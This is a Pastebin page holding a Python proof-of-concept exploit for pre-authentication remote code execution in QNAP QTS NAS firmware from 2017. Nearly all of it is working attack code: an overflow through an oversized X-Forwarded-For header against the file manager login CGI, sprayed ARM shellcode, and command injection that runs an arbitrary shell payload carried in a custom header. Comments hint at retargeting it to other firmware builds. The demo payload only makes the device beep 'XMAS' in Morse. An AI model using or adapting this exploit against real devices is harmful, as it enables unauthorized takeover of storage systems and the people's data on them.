daily pastebin goal
4%
SHARE
TWEET

Pre-auth Remote Code Execution exploit for QNAP QTS

a guest Dec 25th, 2017 4,659 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #   !/usr/bin/env python
  2. #   -*- coding: iso-8859-15 -*-
  3. #
  4. #   Pre-auth Remote Code Execution exploit for QNAP QTS
  5. #   4.2.6 build 20171026, 4.3.3.0378 build 20171117, 4.3.4.0387 #(Beta 2) build 2017111
  6. #  
  7. #   Just a quick dirty RCE PoC to make your QNAP sing "XMAS" in morse.
  8. #  
  9. #   Author: Andrea Palazzo (@cogitoergor00t)
  10. #   E-mail: not-interested-in-chinese-spammers@seriously-dont-crawler-this.lol
  11. #   Web: https://truel.it
  12. #   Lab: https://lab.truel.it
  13. #
  14. #   While collecting material for writing-up CVE-2017-17033 I noticed this was fixed too, so it's probably one of CVE-2017-17027 | CVE-2017-17028 | CVE-2017-17029 | CVE-2017-17030 | CVE-2017-17031 | CVE-2017-17032.
  15. #   More info: https://www.qnap.com/en/security-advisory/nas-201712-15
  16. #
  17. #   This version has been developed against model TS-212P running QTS 4.3.3.0299, but could easily adjusted for <= 4.3.3.0378 (you'll find a little present in the comments)
  18. #
  19. #   --------------
  20.  
  21. import sys, argparse
  22. from non.ha import anza
  23.  
  24. try:
  25.     import requests
  26.     requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
  27. except ImportError:
  28.     print "Do you even web bro?"
  29.     sys.exit(0)
  30.  
  31. exploit_data = {
  32.     "target_endpoint": "/cgi-bin/filemanager/wfm2Login.cgi",
  33.     "payload": "pic_raw 81;pic_raw 80;pic_raw 80;pic_raw 81;sleep 1;pic_raw 81;pic_raw 81;sleep 1;pic_raw 80;pic_raw 81;sleep 1;pic_raw 80;pic_raw 80;pic_raw 80;#",
  34.     "bof": "A"*92+"\xff\x60\x66\xff"+"\x90\x60\xff", #PADDING+SP+PC
  35.     "shellcode":    "\x2d\xd4\xa0\xe1" + #mov sp, sp, lsr #8
  36.                     #old popen @ 22c9c
  37.                     #07/07  @22e24
  38.                     #28/07 @230dc
  39.                     #05/09 @21e90
  40.                     "\x86\x3b\xa0\xe3" + #mov r3, 0x21800
  41.                     "\x69\x3e\x83\xe2" + #add r3, 0x690
  42.                     "\x13\xff\x2f\xe1"   #bx r3
  43. }
  44.  
  45. def request(target, data, headers):
  46.     url = target + exploit_data['target_endpoint']
  47.     return requests.post(url, headers = headers, data = data, verify = False)
  48.  
  49. def vulnerable(target):
  50.     print ">> Checking if likely to be vulnerable"
  51.    
  52.     headers = {
  53.         'User-Agent': 'Vuln tester',
  54.         'X-Forwarded-For': "A" * 200
  55.     }
  56.  
  57.     try:
  58.         r = request(target, "user=admin", headers)
  59.     except:
  60.         print "Something wrong: {}".format(sys.exc_info()[0])
  61.         sys.exit()
  62.     return (r.status_code == 500)
  63.  
  64. def spray(n):
  65.     spray = ""
  66.     for i in range(n):
  67.         spray += '{}={}&'.format(exploit_data["shellcode"]*3+"\x08\x80\xa0\xe1", exploit_data["shellcode"]*3+"\x08\x80\xa0\xe1")
  68.     return spray[:-1]
  69.  
  70. def exploit(target):
  71.     print "Let's " + exploit_data['payload'] + "\n! COULD TAKE A WHILE !"
  72.    
  73.     if requests.get(target + "/cgi-bin/pwn").status_code == 200:
  74.         print "... but first you need to clean up your mess, don't you?"
  75.         sys.exit()
  76.  
  77.     headers = {
  78.         'W00T': exploit_data['payload'],
  79.         'X-Forwarded-For': exploit_data["bof"] #There were others, I'm sure you can figure'em out yourself if you need
  80.     }
  81.     data = spray(31337) + "&user=touch /home/httpd/cgi-bin/pwn; eval $HTTP_W00T;"
  82.    
  83.     while True:
  84.         #print '.'
  85.         try:
  86.             request(target, data, headers)
  87.             if requests.get(target + "/cgi-bin/pwn").status_code == 200:
  88.                 print ">> w00t :)"
  89.                 break
  90.         except:
  91.             print "Something wrong: {}".format(sys.exc_info()[0])
  92.             sys.exit()
  93.  
  94.      
  95.  
  96. if __name__ == "__main__":
  97.  
  98.     print ""
  99.     parser = argparse.ArgumentParser(description = 'Pre-auth Remote Code Execution exploit for QNAP QTS <= 4.2.6 build 20171026, 4.3.3.0378 build 20171117, 4.3.4.0387 (Beta 2) build 20171116')
  100.     parser.add_argument('-t', '--target', dest = 'http(s)://uri[:port]', required = True)
  101.     parser.add_argument('-c', '--check', help = 'No exploitation will be performed.', action = 'store_true')
  102.     args = parser.parse_args()
  103.  
  104.     target = vars(args)['http(s)://uri[:port]']
  105.  
  106.     print "\n------------------------------------------\n" + \
  107.             "Pre-auth Remote Code Execution exploit for \n" + \
  108.             "QNAP QTS <=\t4.2.6 build 20171026\n\t\t4.3.3.0378 build 20171117\n\t\t4.3.4.0387 build 20171116\n\t\t(Beta 2)" +  \
  109.             "\n------------------------------------------\n" + \
  110.             "@cogitoergor00t\t\t https://truel.it" + \
  111.             "\n------------------------------------------\n" \
  112.  
  113.     print ">> Targeting " + target
  114.  
  115.     if not vulnerable(target):
  116.         print ">< Nothing to do here :("
  117.         sys.exit(0)
  118.  
  119.     print ">> Probably vulnerable"
  120.  
  121.     if (args.check):
  122.         print ">> See you"
  123.     else:
  124.         print ">> Gonna make this baby sing\n"
  125.         exploit(target)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top